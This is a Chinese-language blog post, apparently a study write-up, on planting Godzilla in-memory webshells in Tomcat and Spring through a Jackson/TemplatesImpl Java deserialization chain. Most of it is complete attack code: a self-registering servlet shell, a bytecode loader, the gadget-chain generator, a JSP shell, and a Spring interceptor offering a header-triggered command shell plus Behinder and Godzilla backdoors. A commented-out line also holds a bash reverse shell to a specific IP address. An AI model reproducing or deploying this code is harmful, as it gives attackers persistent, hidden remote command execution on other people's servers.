看见师傅们的文章都是直接 冰蝎马、哥斯拉连接即可,就这一句话很不理解,特此来学一下。
也是搞了挺长时间,问了问一些师傅,说哥斯拉和jMG内存吗工具比较好用,特此记录一下。
一个哥斯拉马例子
哥斯拉马以我目前的理解就是,和其他的马基本没区别,就是可以用哥斯拉的工具进行连接,仅此而已。
直接开始举例子,最后附上分析
拿的师傅的docker镜像省去搭建环境的时间:
docker运行下就可以:docker run -p 8080:8080 -itd --name="deserilize_test" z3r0ne0/deserilize_test
.
基本啥依赖都有 CC、CB、fastjson、jackson等等,直接badattribute—>jackson—>templatesImpl
这个是最重要的哥斯拉的马
package com.gesila;
import org.apache.catalina.core.StandardContext;
import javax.servlet.Servlet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class GodzillaMem extends HttpServlet {
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
static String pattern = "/logs";
static String servletName = "JVMService";
String md5 = md5(pass + xc);
Class payload;
static {
Servlet servlet = new GodzillaMem();
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
newWrapper.setName(servletName);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
standardCtx.addChild(newWrapper);
standardCtx.addServletMappingDecoded(pattern,servletName);
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public Class defClass(byte[] classBytes) throws Throwable {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
byte[] data = base64Decode(req.getParameter(pass));
data = x(data, false);
if (payload == null) {
payload = defClass(data);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(req);
resp.getWriter().write(md5.substring(0, 16));
f.toString();
resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
resp.getWriter().write(md5.substring(16));
}
} catch (Throwable e) {
}
}
}
templates的恶意类
package com.gesila;
import com.example.ezfastjson.MemShell;
import javassist.*;
import com.fasterxml.jackson.databind.ser.Serializers;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
public class LoadBytesCode extends AbstractTranslet {
// static Path path= Paths.get("C:\\Users\\c'x'k\\Desktop\\java\\shiro\\SCTFjava\\target\\classes\\com\\gesila\\GodzillaMem.class");
// static byte[] bytes;
//
// static {
// try {
// bytes = Files.readAllBytes(path);
// } catch (IOException e) {
// throw new RuntimeException(e);
// }
// }
//
// static String a=Base64.getEncoder().encodeToString(bytes);
static String base64Class = "哥斯拉马的字节码,base64加密";
static {
byte[] bytes = Base64.getDecoder().decode(base64Class);
try {
defClass(bytes).getConstructor().newInstance();
} catch (Throwable e) {
e.printStackTrace();
}
}
public LoadBytesCode() throws IOException {
}
public static Class defClass(byte[] classBytes) throws Throwable {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
链子
package com.gesila;
import com.example.ezfastjson.MemShell;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
public class jacksonsss {
public static String string;
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = (TemplatesImpl)getTemplatesImpl();
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode pojoNode2=new POJONode(proxyObj);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,pojoNode2);
serialize(exp2);
System.out.println(string);
unserialize();
}
public static Object getTemplatesImpl() throws IOException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException {
TemplatesImpl templates=new TemplatesImpl();
byte[] evilBytes=getEvilBytes();
setFieldValue(templates,"_name","JYcxk");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes",
new byte[][]{ClassPool.getDefault().get(LoadBytesCode.class.getName()).toBytecode()}
);
// setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
return templates;
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static byte[] getEvilBytes() throws NotFoundException, CannotCompileException, IOException, NotFoundException, CannotCompileException, NotFoundException, CannotCompileException {
ClassPool classPool = new ClassPool(true);
CtClass hello = classPool.makeClass("Hello");
CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
hello.setSuperclass(ctClass);
CtConstructor ctConstructor=new CtConstructor(new CtClass[]{},hello);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
//ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/101.42.224.57/4444 0>&1\"});");
//ctConstructor.setBody("Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"mkdir /me/jycxk/Desktop/sfsfs\"});");
hello.addConstructor(ctConstructor);
// byte[] bytes = ClassPool.getDefault().get("com.sad.controller.SpringInterceptor").toBytecode();
byte[] bytes=hello.toBytecode();
hello.detach();
// byte[] bytes = ClassPool.getDefault().get("com.sad.controller.SpringInterceptor").toBytecode();
return bytes;
}
public static void serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserialize() throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
然后脚本直接上传即可
发现返回值是405而不是404,说明内存马打入成功直接哥斯拉进行连接
连接上就可以直接进行命令执行
这个可以直接成功,但是如果用iMG这个工具生成payload就不行,springMVC难道不是springboot嘛???
发现哥斯拉马的逻辑就是下面这样,把原本的内存吗稍作修改就是这样
<%!String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class })
.invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder,
new Object[] { bs });
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder,
new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class })
.invoke(decoder, new Object[] { bs });
} catch (Exception e2) {
}
}
return value;
}%>
<%
try {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
}
%>
package ysoserial.payloads.templates;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.tomcat.util.http.Parameters;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.*;
public class SpringInterceptorTemplate extends HandlerInterceptorAdapter {
String xc = "3c6e0b8a9c15224a"; // key
String pass = "pass";
String md5 = md5(pass + xc);
Class payload;
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try {
// 入口
if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
Object lastRequest = request;
Object lastResponse = response;
// 解决包装类RequestWrapper的问题
// 详细描述见 https://github.com/rebeyond/Behinder/issues/187
if (!(lastRequest instanceof RequestFacade)) {
Method getRequest = ServletRequestWrapper.class.getMethod("getRequest");
lastRequest = getRequest.invoke(request);
while (true) {
if (lastRequest instanceof RequestFacade) break;
lastRequest = getRequest.invoke(lastRequest);
}
}
// 解决包装类ResponseWrapper的问题
if (!(lastResponse instanceof ResponseFacade)) {
Method getResponse = ServletResponseWrapper.class.getMethod("getResponse");
lastResponse = getResponse.invoke(response);
while (true) {
if (lastResponse instanceof ResponseFacade) break;
lastResponse = getResponse.invoke(lastResponse);
}
}
// cmdshell
if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
((ResponseFacade) lastResponse).getWriter().println(result);
}
} else if (request.getHeader("x-client-data").equalsIgnoreCase("rebeyond")) {
if (request.getMethod().equals("POST")) {
// 创建pageContext
HashMap pageContext = new HashMap();
// lastRequest的session是没有被包装的session!!
HttpSession session = ((RequestFacade) lastRequest).getSession();
pageContext.put("request", lastRequest);
pageContext.put("response", lastResponse);
pageContext.put("session", session);
// 这里判断payload是否为空 因为在springboot2.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串
String payload = request.getReader().readLine();
if (payload == null || payload.isEmpty()) {
payload = "";
// 拿到真实的Request对象而非门面模式的RequestFacade
Field field = lastRequest.getClass().getDeclaredField("request");
field.setAccessible(true);
Request realRequest = (Request) field.get(lastRequest);
// 从coyoteRequest中拼接body参数
Field coyoteRequestField = realRequest.getClass().getDeclaredField("coyoteRequest");
coyoteRequestField.setAccessible(true);
org.apache.coyote.Request coyoteRequest = (org.apache.coyote.Request) coyoteRequestField.get(realRequest);
Parameters parameters = coyoteRequest.getParameters();
Field paramHashValues = parameters.getClass().getDeclaredField("paramHashValues");
paramHashValues.setAccessible(true);
LinkedHashMap paramMap = (LinkedHashMap) paramHashValues.get(parameters);
Iterator<Map.Entry<String, ArrayList<String>>> iterator = paramMap.entrySet().iterator();
while (iterator.hasNext()) {
Map.Entry<String, ArrayList<String>> next = iterator.next();
String paramKey = next.getKey().replaceAll(" ", "+");
ArrayList<String> paramValueList = next.getValue();
if (paramValueList.size() == 0) {
payload = payload + paramKey;
} else {
payload = payload + paramKey + "=" + paramValueList.get(0);
}
}
}
// System.out.println(payload);
// 冰蝎逻辑
String k = "e45e329feb5d925b"; // rebeyond
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
} else if (request.getHeader("x-client-data").equalsIgnoreCase("godzilla")) {
// 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (payload == null) {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
}
return false;
}
} catch (Exception e) {
// e.printStackTrace();
}
return true;
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
}
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。